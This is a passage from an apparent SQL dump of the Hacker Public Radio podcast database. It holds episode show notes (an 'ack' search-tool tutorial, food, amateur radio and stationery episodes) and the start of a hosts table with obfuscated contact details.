file contains <em>“command-line options that are prepended to\nthe command line before processing”</em>.</p>\n<p>It’s a useful way to add new types (or even modify existing\nones).</p>\n<p>It can be located in a number of places. Mine is\n<code>~/.ackrc</code> with other configuration files in my home\ndirectory.</p>\n<p>It’s possible to generate a new <code>.ackrc</code> with the option\n<code>--create-ackrc</code>. This saves all the default settings in the\nfile which makes it simple to adjust anything you need to change.</p>\n<p>As an example of a change, I have Markdown files with the extension\n<code>.mkd</code>. However, by default <code>ack</code> only recognises\n<code>.md</code>, and <code>.markdown</code>. To add <code>.mkd</code>\nto the list I can add one of the following to the\n<code>.ackrc</code>:</p>\n<pre><code># Either add `.mkd` to the list\n--type-add=markdown:ext:mkd\n# or replace the list with a new one\n--type-set=markdown:ext:md,mkd,markdown</code></pre>\n<p>Note that lines beginning with <code>#</code> are comments. Note also\nthat <code>--type-add</code> and <code>--type-set</code> have to be\nfollowed by an <code>=</code> sign, not a space in this file.</p>\n<p>If you examine the settings with <code>ack --dump</code> you will see\nthe default command and the one you have added. If you use\n<code>ack --help-types</code> you will see the new extension added to\nthe default list.</p>\n<pre><code>markdown     .md .markdown; .mkd</code></pre>\n<p>If I use this to search files in the directory where I keep my HPR\nepisodes I see:</p>\n<pre><code>$ ack --markdown &#39;inner ear&#39;\nHacking_my_inner_ear/hpr2109_full_shownotes.mkd\n24:became fascinated by the structure of the human [inner ear][2], and studied it\n28:The human inner ear performs two major functions:\n.\n.\n.</code></pre>\n<h2 id=\"quick-review-of-selected-ack-options\">Quick review of selected\n<code>ack</code> options</h2>\n<h3 id=\"usage\">Usage</h3>\n<p>The <code>ack</code> command is designed to be similar in as many\nrespects as possible to <code>grep</code>. The command is used in\ngeneral as follows:</p>\n<pre><code>ack [OPTION]... PATTERN [FILES OR DIRECTORIES]</code></pre>\n<p>The <code>[OPTION]</code> part denotes any options (some discussed\nbelow) and <code>PATTERN</code> is the PCRE search pattern. There are\nsome cases where this must be omitted - such as when files of a\nparticular type are being listed. See example 1 below for such a\ncase.</p>\n<p>In some cases a particular file is being searched, or all files in\ncertain directories, and that is what\n<code>[FILES OR DIRECTORIES]</code> denotes.</p>\n<p>The full documentation for <code>ack</code> can be seen with the\nusual <code>man ack</code> command, and also using\n<code>ack --man</code>. There is also an option <code>--help</code>\nwhich gives a summary of all of the available options.</p>\n<h3 id=\"options\">Options</h3>\n<p>There are many options specific to <code>ack</code> and some in\ncommon with <code>grep</code>, and we’ll look at just a few here:</p>\n<ul>\n<li><p><code>-i</code> - like <code>grep</code> this makes the matched\npattern case insensitive.</p></li>\n<li><p><code>-f</code> - Only print the files that would be searched,\nwithout actually doing any searching. See example 1 below.</p></li>\n<li><p><code>-g</code> - Same as -f, but only select files whose names\nmatch PATTERN. This interacts with file type searches like\n<code>--html</code>, so beware.</p></li>\n<li><p><code>-l</code> - reports the file names which contain matches\nfor a given pattern</p></li>\n<li><p><code>-L</code> - reports the file names which <em>do not</em>\ncontain matches for a given pattern</p></li>\n<li><p><code>-c</code> - reports file names and the number of matches;\nused on its own it reports <em>all</em> files, those that match and\nthose that do not. If used with <code>-l</code> then you only see the\nnames of file that have matches, as well as a count of matches. See\nexample 2 below.</p></li>\n<li><p><code>-w</code> - forces the search pattern to match only whole\nwords. See example 3 below. (Note: there is an equivalent in GNU grep,\nwhich I had not checked when I recorded the audio).</p></li>\n</ul>\n<h2 id=\"examples\">Examples</h2>\n<h3 id=\"find-all-markdown-files-in-a-directory\">1. Find all Markdown\nfiles in a directory</h3>\n<p>Using the <code>-f</code> option:</p>\n<pre><code>$ ack --markdown -f Nitecore_Tube_torch/\nNitecore_Tube_torch/README.mkd\nNitecore_Tube_torch/container.mkd\nNitecore_Tube_torch/index.mkd\nNitecore_Tube_torch/shownotes.mkd</code></pre>\n<p>Using the <code>-g</code> option:</p>\n<pre><code>$ ack -g &#39;&bsol;.mkd$&#39; Nitecore_Tube_torch/\nNitecore_Tube_torch/README.mkd\nNitecore_Tube_torch/container.mkd\nNitecore_Tube_torch/index.mkd\nNitecore_Tube_torch/shownotes.mkd</code></pre>\n<h3 id=\"names-of-files-that-contain-a-match-with-a-match-count\">2. Names\nof files that contain a match, with a match count</h3>\n<p>Using the <code>-l</code> and <code>-c</code> options:</p>\n<pre><code>$ ack --markdown -lci &#39;&bsol;bear&bsol;b&#39;\nHacking_my_inner_ear/hpr2109_full_shownotes.mkd:11\nHacking_my_inner_ear/shownotes.mkd:3\nAn_overview_of_the_ack_command/shownotes.mkd:6</code></pre>\n<p>The sequence <code>\'&bsol;b\'</code> in Perl regular expressions is a\nboundary such as a word boundary. So the pattern is looking for the word\n<code>\'ear\'</code> as opposed to the characters <code>\'ear\'</code> (as\nin <code>\'pearl\'</code> for example).</p>\n<p>Note how the single-letter options <code>-l</code>, <code>-c</code>\nand <code>-i</code> can be concatenated.</p>\n<h3 id=\"searching-for-words-in-a-simpler-way\">3. Searching for words in\na simpler way</h3>\n<p>In example 2 the <code>&bsol;b</code> boundaries ensured the pattern\nmatched words rather than letter sequences. This can be simplified by\nusing the <code>-w</code> option:</p>\n<pre><code>$ ack --markdown -lci -w &#39;ear&#39;\nHacking_my_inner_ear/hpr2109_full_shownotes.mkd:11\nHacking_my_inner_ear/shownotes.mkd:3\nAn_overview_of_the_ack_command/shownotes.mkd:6</code></pre>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>The <code>ack</code> website:\n<ul>\n<li><a href=\"https://beyondgrep.com/\">ack!</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Perl regular expressions:\n<ul>\n<li><a href=\"https://perldoc.perl.org/perlreref.html\">RE reference\nmanual</a></li>\n<li><a href=\"https://perldoc.perl.org/perlretut.html\">RE\ntutorial</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>PCRE: <em>Perl Compatible Regular Expressions</em>:\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Perl_Compatible_Regular_Expressions\">Wikipedia\narticle on PCRE</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Philip_Hazel\">Wikipedia\narticle on Philip Hazel</a></li>\n</ul></li>\n</ul>\n</article>\n',225,11,1,'CC-BY-SA','search,grep,regular expression,Perl',0,0,1),
(3912,'2023-08-01','Emergency Show: Biltong and Rooibos',233,'Shane brings us a taste of South Africa with some local tea and jerky','<p><a href=\"https://en.wikipedia.org/wiki/Biltong\">Biltong</a><br />\n<small>From Wikipedia, the free encyclopedia</small></p>\n\n<p><b>Biltong</b> is a form of <a href=\"https://en.wikipedia.org/wiki/Drying_(food)\" class=\"mw-redirect\" title=\"Drying (food)\">dried</a>, <a href=\"https://en.wikipedia.org/wiki/Curing_(food_preservation)\" title=\"Curing (food preservation)\">cured</a> <a href=\"https://en.wikipedia.org/wiki/Meat\" title=\"Meat\">meat</a> which originated in <a href=\"https://en.wikipedia.org/wiki/Southern_African\" class=\"mw-redirect\" title=\"Southern African\">Southern African</a> countries (<a href=\"https://en.wikipedia.org/wiki/South_Africa\" title=\"South Africa\">South Africa</a>, <a href=\"https://en.wikipedia.org/wiki/Zimbabwe\" title=\"Zimbabwe\">Zimbabwe</a>, <a href=\"https://en.wikipedia.org/wiki/Malawi\" title=\"Malawi\">Malawi</a>, <a href=\"https://en.wikipedia.org/wiki/Namibia\" title=\"Namibia\">Namibia</a>, <a href=\"https://en.wikipedia.org/wiki/Botswana\" title=\"Botswana\">Botswana</a>, Eswatini and <a href=\"https://en.wikipedia.org/wiki/Zambia\" title=\"Zambia\">Zambia</a>). Various types of meat are used to produce it, ranging from <a href=\"https://en.wikipedia.org/wiki/Beef\" title=\"Beef\">beef</a> to <a href=\"https://en.wikipedia.org/wiki/Game_(food)\" class=\"mw-redirect\" title=\"Game (food)\">game</a> meats such as <a href=\"https://en.wikipedia.org/wiki/Ostrich\" title=\"Ostrich\">ostrich</a> or <a href=\"https://en.wikipedia.org/wiki/Kudu\" title=\"Kudu\">kudu</a>. The cut may also vary being either <a href=\"https://en.wikipedia.org/wiki/Fillet_(cut)\" title=\"Fillet (cut)\">fillets</a> of meat cut into strips following the grain of the muscle, or flat pieces sliced across the grain. It is related to beef <a href=\"https://en.wikipedia.org/wiki/Jerky\" title=\"Jerky\">jerky</a>; both are spiced, dried meats; however the typical ingredients, taste, and production processes may differ.</p><p>The word \"biltong\" is from the <a href=\"https://en.wikipedia.org/wiki/Dutch_(language)\" class=\"mw-redirect\" title=\"Dutch (language)\">Dutch</a> <span title=\"Dutch-language text\"><i lang=\"nl\">bil</i></span> (\"buttock\") and <i><span title=\"Dutch-language text\"><i lang=\"nl\">tong</i></span></i> (\"strip\" or \"tongue\").</a><p><a href=\"https://en.wikipedia.org/wiki/File:Sliced_Biltong.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Sliced_Biltong.jpg/220px-Sliced_Biltong.jpg\" decoding=\"async\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Sliced_Biltong.jpg/330px-Sliced_Biltong.jpg 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Sliced_Biltong.jpg/440px-Sliced_Biltong.jpg 2x\" data-file-width=\"2421\" data-file-height=\"1715\" width=\"220\" height=\"156\"></a></p>\n\n<hr />\n\n<p><a href=\"https://en.wikipedia.org/wiki/Rooibos\">Rooibos</a><br />\n<small>From Wikipedia, the free encyclopedia</small></p>\n\n<p>\n<b>Rooibos, meaning \"red bush\")</b>, or <i><b>Aspalathus linearis</b></i>, is a\n<a href=\"https://en.wikipedia.org/wiki/Broom_(shrub)\" class=\"mw-redirect\" title=\"Broom (shrub)\">broom\n</a>-like member of the plant family\n<a href=\"https://en.wikipedia.org/wiki/Fabaceae\" title=\"Fabaceae\">Fabaceae\n</a> that grows in\n<a href=\"https://en.wikipedia.org/wiki/South_Africa\" title=\"South Africa\">South Africa\n</a>\'s\n<a href=\"https://en.wikipedia.org/wiki/Fynbos\" title=\"Fynbos\">fynbos\n</a> biome.\n\n</p>\n<p>The leaves are used to make a\n<a href=\"https://en.wikipedia.org/wiki/Herbal_tea\" title=\"Herbal tea\">herbal tea\n</a> that is called\n<b>rooibos\n</b> (especially in Southern Africa),\n<b>bush tea\n</b>,\n<b>red tea\n</b>, or\n<b>redbush tea\n</b> (predominantly in Great Britain).\n\n</p>\n<p>The tea has been popular in\n<a href=\"https://en.wikipedia.org/wiki/Southern_Africa\" title=\"Southern Africa\">Southern Africa\n</a> for generations, and since the 2000s has gained popularity internationally.\nThe tea has an earthy flavour that is similar to\n<a href=\"https://en.wikipedia.org/wiki/Yerba_mate\" title=\"Yerba mate\">yerba mate\n</a> or\n<a href=\"https://en.wikipedia.org/wiki/Tobacco\" title=\"Tobacco\">tobacco\n</a>.\n</p>\n<p>Rooibos was formerly classified as\n<i>\n<a href=\"https://en.wikipedia.org/wiki/Psoralea\" title=\"Psoralea\">Psoralea\n</a>\n</i> but is now thought to be part of\n<i>\n<a href=\"https://en.wikipedia.org/wiki/Aspalathus\" title=\"Aspalathus\">Aspalathus\n</a>\n</i> following\n<a href=\"https://en.wikipedia.org/wiki/Rolf_Dahlgren\" title=\"Rolf Dahlgren\">Dahlgren\n</a> (1980).\nThe\n<a href=\"https://en.wikipedia.org/wiki/Specific_name_(botany)\" class=\"mw-redirect\" title=\"Specific name (botany)\">specific name\n</a> of\n<i>linearis\n</i> was given by\n<a href=\"https://en.wikipedia.org/wiki/Nicolaas_Laurens_Burman\" title=\"Nicolaas Laurens Burman\">Burman\n</a> (1759)\nfor the plant\'s linear growing structure and needle-like leaves.\n\n</p>\n<p>\n<a href=\"https://en.wikipedia.org/wiki/File:Rooibos_geschnitten.jpg\" class=\"mw-file-description\">\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/4/46/Rooibos_geschnitten.jpg/220px-Rooibos_geschnitten.jpg\" decoding=\"async\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/4/46/Rooibos_geschnitten.jpg/330px-Rooibos_geschnitten.jpg 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/4/46/Rooibos_geschnitten.jpg/440px-Rooibos_geschnitten.jpg 2x\" data-file-width=\"1920\" data-file-height=\"1280\" width=\"220\" height=\"147\">\n</a>\n</p>\n\n',250,0,0,'CC-BY-SA','South Africa,Biltong,Rooibos,Afrikaans',0,0,1),
(3913,'2023-08-02','Lurking Prion Q and A',316,'Lurking Prion answers questions about his name, former career field as an MM','<p>Add to reserve queue</p>\n<p>Lurking <a href=\"https://en.wikipedia.org/wiki/Prion\">Prion</a> answers questions about his name, former career field as an <a href=\"https://en.wikipedia.org/wiki/Machinist%27s_mate\">Machinist\'s mate</a>, and breaks down a short bio of his security path thus far.</p>\n\n',405,74,1,'CC-BY-SA','bio,backgrown,questions,mm,Machinist\'s mate',0,0,1),
(3914,'2023-08-03','how to deal with blisters',262,'a technique my father taught me, for dealing with blisters','<p>Many years ago, my father taught me how to deal with blisters using a\nneedle and thread.</p>\n',399,0,0,'CC-BY-SA','first aid',0,0,1),
(3915,'2023-08-04','Why the hell is my audio clipping?',802,'MrX has audio that is clipping but will he be able to fix it?','<p>This is an emergency show as we are short of shows. I was going to do\nthis show anyway as I noticed my audio was clipping on the last few\nshows I sent in yet I didn\'t notice it on the files I sent to HPR.</p>\n<p>In this episode I waffle a bit and read out some of the stuff on the\nHPR site about giving shows. During the recording I introduce increasing\namounts of attenuation each decrease in volume signified by a gong. I\nhope this will allow me to stop the clipping from my audio.</p>\n',201,0,1,'CC-BY-SA','audio, podcasting, Audacity',0,0,1),
(3917,'2023-08-08','Response to \"Permission Tickets\" by oneofspoons',408,'Hopefully a useful provocation, in response to a recent intriguing show by another HPR host','<p>A response show to oneofspoons\' <a\nhref=\"https://hackerpublicradio.org/eps/hpr3909/index.html\">hpr3909 ::\nPermission Tickets\"</a>.</p>\n<p>Reference: <a\nhref=\"https://harpersmagazine.substack.com/p/the-writers-strike-or-the-writers#details\">Harper\'s\nPodcast -The Writers&#x2019; Strike, or: the Writers Strike</a></p>\n',399,0,0,'CC-BY-SA','crypto',0,0,1),
(3919,'2023-08-10','How I hacked my voice',959,'tuturto talks about what she\'s doing to change her voice','<p>Resource mentioned in the episode: <a\nhref=\"https://www.youtube.com/@TransVoiceLessons\"\nclass=\"uri\">https://www.youtube.com/@TransVoiceLessons</a></p>\n',364,0,0,'CC-BY-SA','voice, trans',0,0,1),
(3922,'2023-08-15','Silent Key',241,'A brief history of the term \"Silent Key\" as applied to amateur radio','<p>Hacker Public Radio &#x2013; Silent Key HPR3922</p>\n<p>Hello this is Trey, and I am recording this in the shadow of the loss\nof a good friend and mentor who helped guide me in my career and in\nhobbies like electronics, aviation, and amateur radio. The amateur radio\narea is what I will be discussing today.</p>\n<p>Many terms within amateur radio find their origins from the days of\ntelegraph, when operators would use Morse code to send messages across\ngreat distances using wires strung from pole to pole. The telegraph\n&#x201C;key&#x201D; (or code key) was basically a momentary contact switch which would\nclose an electrical connection when pressed. Pressing the key down for a\nshort period of time would send a short pulse down the line, which is\nreferred to as a &#x201C;dit&#x201D; (Sometimes the term &#x201C;dot&#x201D; is used). This may be\nwritten using the period &#x201C;.&#x201D; symbol. Holding the key down for a bit\nlonger would send a longer pulse down the line, called a &#x201C;dash&#x201D;\n(Sometimes the term &#x201C;dah&#x201D; is used) and it may be written using the\nhyphen &#x201C;-&#x201D; symbol.</p>\n<p>Telegraph operators became a close knit community, even though they\nwere geographically separated. Often one operator could identify another\noperator by subtleties in the style or personality of how they sent\ntheir messages. This was known as the operator&#x2019;s &#x201C;fist&#x201D; and today we\nwould describe it as a &#x201C;behavioral biometric&#x201D;. As the community of\ntelegraph operators moved around or were replaced, new &#x201C;fists&#x201D; would be\nidentified, as new personalities of code sending were tapped out on the\ntelegraph keys.</p>\n<p>When an operator passed away, it was a loss to the community, and a\nloss of someone who might have been befriended remotely by other\noperators. The term of respect created for this situation was &#x201C;Silent\nKey&#x201D; sent as the abbreviation &#x201C;SK&#x201D; ( &#x2026; -.- ). It meant that the\nparticular operator would never send code again. His telegraph key would\nbe silent.</p>\n<p>This tradition has been carried on among amateur radio operators or\n&#x201C;Hams&#x201D;. This is also a close knit community of people. While some still\nuse Morse code to communicate (Referred to as &#x201C;CW&#x201D; for continuous wave),\nthere are many other forms in use, including voice and digital modes.\nBut regardless of how we communicated with them, when we lose one of our\nown, we still say they are SK. Silent key. No longer able to\ntransmit.</p>\n<p>Organizations like the American Radio Relay League (ARRL) and QRZ.com\ntry to update their records when a Ham passes away. There are also\ndatabases like silentkeyhq.com which keep records and memories of\ndeceased operators.</p>\n<p>So, it is with great sadness that I have been updating the records\nfor my close friend and mentor KV4YD. Thank you for your friendship and\nsupport, and for sharing your wisdom over the years. You will be\nmissed.</p>\n<p><a\nhref=\"https://www.silentkeyhq.com/main.php?p=bin/NSKALookup.php&amp;call=KF8F&amp;uid=1111688122977783\"\nclass=\"uri\">https://www.silentkeyhq.com/main.php?p=bin/NSKALookup.php&amp;call=KF8F&amp;uid=1111688122977783</a></p>\n<p>(Note: There is intentionally 5 seconds of recorded silence at the\nend of this recording as a moment of silence to remember our silent\nkeys)</p>\n<p>KV4YD 73 VA E E</p>\n',394,43,0,'CC-BY-SA','morse code, cw, amateur radio, telegraph, memorial',0,0,1),
(3923,'2023-08-16','Meal preparation.',2488,'Sgoti chats with Bumble Bee about meal preparation.','<h2 id=\"meal-preparation-with-bumble-bee.\">Meal preparation with Bumble\nBee.</h2>\n<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Meal_preparation\">Meal\npreparation</a><br />\n\n<ul>\n<li>Meal preparation involves preparing meals ahead of time for a short\nor period of time. This practice may occur among people who desire to\nlose weight, gain muscle mass, or maintain a healthy lifestyle. Advance\npreparation can serve to standardize food portions. Meals preparation\nare fully cooked. Meals may be prepared in small containers such as\nTupperware, and are sometimes labeled and dated to remain\norganized.<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Onion\">Onions</a><br />\n\n<ul>\n<li>Freshly cut onions often cause a stinging sensation in the eyes of\npeople nearby, and often uncontrollable tears. This is caused by the\nrelease of a volatile liquid, syn-propanethial-S-oxide and its aerosol,\nwhich stimulates nerves in the eye. This gas is produced by a chain of\nreactions which serve as a defence mechanism: chopping an onion causes\ndamage to cells which releases enzymes called alliinases. These break\ndown amino acid sulfoxides and generate sulfenic acids. A specific\nsulfenic acid, 1-propenesulfenic acid, is rapidly acted on by a second\nenzyme, the lacrimatory factor synthase (LFS), producing the\nsyn-propanethial-S-oxide. This gas diffuses through the air and soon\nreaches the eyes, where it activates sensory neurons. Lacrimal glands\nproduce tears to dilute and flush out the irritant.<br />\n</li>\n<li>Cooking onions and sweet onions are better stored at room\ntemperature, optimally in a single layer, in large mesh bags in a dry,\ncool, dark, well-ventilated location. In this environment, cooking\nonions have a shelf life of three to four weeks and sweet onions one to\ntwo weeks. Cooking onions will absorb odours from apples and pears.\nAlso, they draw moisture from vegetables with which they are stored\nwhich may cause them to decay.<br />\n</li>\n<li>Sweet onions have a greater water and sugar content than cooking\nonions. This makes them sweeter and milder tasting, but reduces their\nshelf life. Sweet onions can be stored refrigerated; they have a shelf\nlife of around 1 month. Irrespective of type, any cut pieces of onion\nare best tightly wrapped, stored away from other produce, and used\nwithin two to three days.<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.momswhothink.com/what-are-dump-dinners-and-which-recipes-are-easiest/\">What\nAre Dump Dinners, And Which Recipes Are Easiest?</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.tasteofhome.com/collection/slow-cooker-dump-dinners/\">55\nDump Dinners for Your Slow Cooker</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.pinterest.com/\">Pinterest</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.amazon.com/mug-warmer/s?k=mug+and+warmer\">Mug\nwarmers.</a><br />\n</li>\n</ul>\n<p>This work is licensed under a <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/\"\ntitle=\"CC-BY-SA 4.0 International\">Creative Commons\nAttribution-ShareAlike 4.0 International License</a>.</p>\n',391,0,0,'CC-BY-SA','Bumble Bee, Meal Prep',0,0,1),
(3933,'2023-08-30','Planning for a planner.',2852,'Sgoti and Bumble Bee discuss discbound planners, agendas, ink pens and more.','<h2 id=\"discbound-planners-and-notebooks.\">Discbound Planners and\nNotebooks.</h2>\n<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://www.staples.com/discbound+notebook/directory_discbound%2520notebook\">Staples.com\ndiscbound notebook search</a><br />\n</li>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://www.staples.com/Staples-Arc-Customizable-Leather-Notebook-System-Black-6-3-4-x-8-3-4-Each-20000/product_886234\">Staples\nArc Customizable Notebook, 6-3/4\" x 8-3/4\", 60 Sheets, Narrow Ruled,\nBlack</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://thehappyplanner.com/\">Happy Planner.</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.joann.com/search/?q=planners&amp;lang=default\">JoAnn</a><br />\n</li>\n</ul>\n<p>Don\'t listen to Bumble Bee, the caps are what you want; get the one\nwith the cap.<br />\nAlso these are the fat boys, they are 1.0 mm, not 0.7mm.<br />\n- <strong>Source:</strong> <a\nhref=\"https://www.walmart.com/ip/BIC-Round-Stic-Xtra-Life-Ballpoint-Pens-Medium-Point-1-0mm-60-Count-Black-Pens/14914643?athbdg=L1102\">BIC\nRound Stic Xtra Life Ballpoint Pens, Medium Point (1.0mm), 60 Count,\nBlack Pens</a><br />\n- <strong>Source:</strong> <a\nhref=\"https://www.walmart.com/ip/BIC-Round-Stic-Xtra-Life-Ballpoint-Pens-Medium-Point-1-0mm-Blue-60-Count/14972251?athbdg=L1102\">BIC\nRound Stic Xtra Life Ballpoint Pens, Medium Point (1.0mm), Blue, 60\nCount</a><br />\n</p>\n<p>These feel so good in the hand but they have high dry times; just not\nworth it.<br />\n- <strong>Source:</strong> <a\nhref=\"https://www.walmart.com/ip/uni-ball-Signo-Gel-207-Retractable-Roller-Ball-Pen-Medium-Point-Translucent-Barrel-Black-Ink-12-Pack-33950/193383509\">uni-ball\nSigno Gel 207 Retractable Roller Ball Pen, Medium Point, Translucent\nBarrel, Black Ink, 12-Pack (33950)</a><br />\n</p>\n<p>I use these for drawing lines. Dry times are not bad, but there is a\ndry time.<br />\n- <strong>Source:</strong> <a\nhref=\"https://www.walmart.com/ip/uni-ball-Roller-Ball-Stick-Dye-Based-Pen-Micro-Point-0-5-mm-498774/39250950\">uni-ball\nRoller Ball Stick Dye-Based Pen Micro Point 0.5 mm 498774</a><br />\n- <strong>Source:</strong> <a\nhref=\"https://www.walmart.com/ip/Uni-Ball-SAN60101-Classic-Rollerball-Pens/15066664?athcpid=15066664&amp;athpgid=AthenaItempage&amp;athcgid=null&amp;athznid=si&amp;athieid=v0_eeMjAuMCw5ODAuMCwwLjAyMjI3OTk4OTAwMjgwOTQ1NCwwLjVf&amp;athstid=CS055&amp;athguid=r3SSXQ4jq9E5eaSeRk1eXSeM7L7VDd4--1ZS&amp;athancid=39250950&amp;athposb=0&amp;athena=true\">Uni-Ball,\nSAN60101, Classic Rollerball Pens</a><br />\n</p>\n<p>Color pack, because why not!<br />\n- <strong>Source:</strong> <a\nhref=\"https://www.walmart.com/ip/BIC-Cristal-Xtra-Bold-Ball-Point-Pens-Bold-Point-1-6mm-Assorted-Colors-24-Count/27932641?athbdg=L1103\">BIC\nCristal Xtra Bold Ball Point Pens, Bold Point (1.6mm), Assorted Colors,\n24-Count</a><br />\n</p>\n<p>This work is licensed under a <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/\"\ntitle=\"CC-BY-SA 4.0 International\">Creative Commons\nAttribution-ShareAlike 4.0 International License</a>.</p>\n',391,0,0,'CC-BY-SA','Discbound, Notebooks, Planners, Happy Planner, Ink Pens.',0,0,1);
/*!40000 ALTER TABLE `eps` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `hosts`
--

DROP TABLE IF EXISTS `hosts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `hosts` (
  `hostid` int(10) NOT NULL AUTO_INCREMENT,
  `host` text NOT NULL,
  `email` text NOT NULL,
  `profile` text NOT NULL,
  `license` varchar(11) NOT NULL DEFAULT 'CC-BY-SA',
  `local_image` int(2) NOT NULL DEFAULT 0,
  `gpg` text NOT NULL,
  `valid` int(1) NOT NULL DEFAULT 1,
  `espeak_name` text DEFAULT NULL COMMENT 'Version of the host name for use with espeak',
  PRIMARY KEY (`hostid`)
) ENGINE=MyISAM AUTO_INCREMENT=422 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `hosts`
--

LOCK TABLES `hosts` WRITE;
/*!40000 ALTER TABLE `hosts` DISABLE KEYS */;
INSERT INTO `hosts` (`hostid`, `host`, `email`, `profile`, `license`, `local_image`, `gpg`, `valid`, `espeak_name`) VALUES (1,'droops','droops.nospam@nospam.gmail.com','nomicon.info','CC-BY-NC-SA',0,'',1,'droops'),
(3,'dosman','dosman.nospam@nospam.packetsniffers.org','packetsniffers.org','CC-BY-SA',0,'',1,'dosman'),
(7,'Dann','dann.nospam@nospam.tllts.org','','CC-BY-SA',0,'',1,'Dann'),
(79,'Xoke','Xokesoru.nospam@nospam.gmail.com','Xoke.org','CC-BY-SA',0,'',1,'Xoke'),
(18,'Seal','julien.nospam@nospam.jmcardle.com','jmcardle.com','CC-BY-NC-SA',0,'',1,'Seal'),
(282,'Mike Ray','mike.nospam@nospam.raspberryvi.org','','CC-BY-SA',0,'',1,'Mike Ray'),
(73,'deepgeek','hpr.nospam@nospam.deepgeek.us','','CC-BY-SA',0,'',1,'deepgeek'),
(24,'Lord Drachenblut (R.I.P.)','lord.drachenblut.nospam@nospam.gmail.com','thedigitaldragonslair.net/','CC-BY-SA',0,'',1,'Lord Drachenblut'),
(25,'Morgellon','morgellon.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Morgellon'),
(29,'willjasen','willjasen.nospam@nospam.charter.net','','CC-BY-SA',0,'',0,'willjasen'),
(30,'Ken Fallon','ken.nospam@nospam.fallon.ie','<p>\r\nI am a Irishman living in the Netherlands.\r\n</p>\r\n\r\n<ul>\r\n<li>Website: <a href=\"https://kenfallon.com\">https://kenfallon.com</a>\r\n</li>\r\n<li>Twitter: @ken_fallon <a href=\"https://twitter.com/ken_fallon\">https://twitter.com/ken_fallon</a>\r\n</li>\r\n<li>Mastodon: <a href=\"https://mastodon.sdf.org/@ken_fallon\">@ken_fallon@mastodon.sdf.org</a>\r\n</li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/ken.fallon\">https://www.facebook.com/ken.fallon</a>\r\n</li>\r\n<li>LinkedIn: <a href=\"https://nl.linkedin.com/in/kenfallon\">https://nl.linkedin.com/in/kenfallon</a>\r\n</li>\r\n</ul>','CC-BY-SA',0,'23B68D4377311169',1,'Ken Falun'),
(75,'fawkesfyre','purplepentester.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'fawkesfyre'),
(36,'operat0r','freeload101.nospam@nospam.yahoo.com','rmccurdy.com','CC-BY-SA',0,'',1,'operator'),
(38,'Silver','silverballz.nospam@nospam.gmail.com','silverballz.com','CC-BY-NC-SA',0,'',1,'Silver'),
(39,'Enigma','eth0enigma.nospam@nospam.gmail.com','hackerpublicradio.org','CC-BY-NC-SA',0,'',1,'Enigma'),
(41,'kitche','kitche.nospam@nospam.reddphoenix.com','','CC-BY-NC-SA',0,'',0,'kitche'),
(42,'slick0','slick0.nospam@nospam.slick0.net','','CC-0',0,'',1,'slick0'),
(48,'mirovengi','mirovengi.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'mirovengi'),
(55,'StankDawg','stankdawg.nospam@nospam.stankdawg.com','stankdawg.com','CC-BY-NC-SA',0,'',1,'StankDawg'),
(57,'Plexi','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Plexi'),
(58,'Drake Anubis','drake.anubis.nospam@nospam.gmail.com','drakeanubis.com','CC-BY-NC-SA',0,'',1,'Drake Anubis'),
(62,'Mubix','jd.mubix.nospam@nospam.gmail.com','room362.com/','CC-BY-NC-SA',0,'',1,'Mubix'),
(64,'Alk3','mr.alk3.nospam@nospam.gmail.com','exitstatusone.com/','CC-BY-NC-SA',0,'',1,'Alk3'),
(69,'thewtex','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'thewtex'),
(74,'Peter','freshubuntu.nospam@nospam.gmail.com','freshubuntu.org/','CC-BY-NC-SA',0,'',1,'Peter'),
(76,'Chess Griffin','chess.nospam@nospam.chessgriffin.com','linuxreality.com','CC-BY-NC-SA',0,'',1,'Chess Griffin'),
(77,'Dave Yates','dsyates.nospam@nospam.lottalinuxlinks.com','lottalinuxlinks.com','CC-BY-SA',0,'',1,'Dave Yates'),
(78,'Klaatu','klaatu.nospam@nospam.mixedsignals.ml','','CC-BY-SA',0,'',1,'klaatu'),
(408,'Stache_AF','stache.nospam@nospam.duck.com','','CC-BY-SA',0,'',1,'Stash A. F'),
(80,'W3lshrarebit','W3lshrarebit.nospam@nospam.do-not-contact.gmail.com','','CC-BY-NC',0,'',1,'W3lshrarebit'),
(81,'Bitviper','bitviper.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Bitviper'),
